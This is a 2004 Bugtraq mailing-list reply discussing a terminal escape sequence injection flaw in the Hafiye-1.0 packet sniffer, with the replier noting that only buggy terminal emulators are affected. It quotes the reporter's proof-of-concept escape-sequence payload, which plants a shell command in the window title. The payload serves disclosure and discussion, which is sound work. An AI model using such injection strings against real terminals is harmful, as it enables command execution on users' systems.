Bugtraq mailing list archives
Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability
From: Jan Minar <jjminar () fastmail fm>
Date: Tue, 24 Aug 2004 04:33:57 +0200
On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
If Hafiye has been started with -n packet count option , the vulnerability could allow remote code execution. For remote code execution the victim must press Enter after program exit.
"\x1b""]2;Insecure?""\x07\x0a", "\x07\x07\x07\x07\x07\x07", "\x1b""]2;;echo Owned > /root/Owned.txt" "\x07\x1b""[21t""\x1b""]2;xterm""\x07" "Abnormal Termination""\x1b" "[8m;""\x0a"};
That is, with broken terminals/emulators, such as is rxvt in Debian Woody (at the time of my writing this). These devices/programs should have been fixed long time ago in the first place. (Not that (albeit crippled) echo-back escape sequences were a good idea anyway.) Jan. -- "To me, clowns aren't funny. In fact, they're kind of scary. I've wondered where this started and I think it goes back to the time I went to the circus, and a clown killed my dad."
Attachment:
_bin
Description:
Current thread:
- Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Serkan Akpolat (Aug 23)
- Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Jan Minar (Aug 24)
- Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Serkan Akpolat (Aug 26)
- Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Rodrigo Barbosa (Aug 24)
- Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Serkan Akpolat (Aug 26)
- Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability Jan Minar (Aug 24)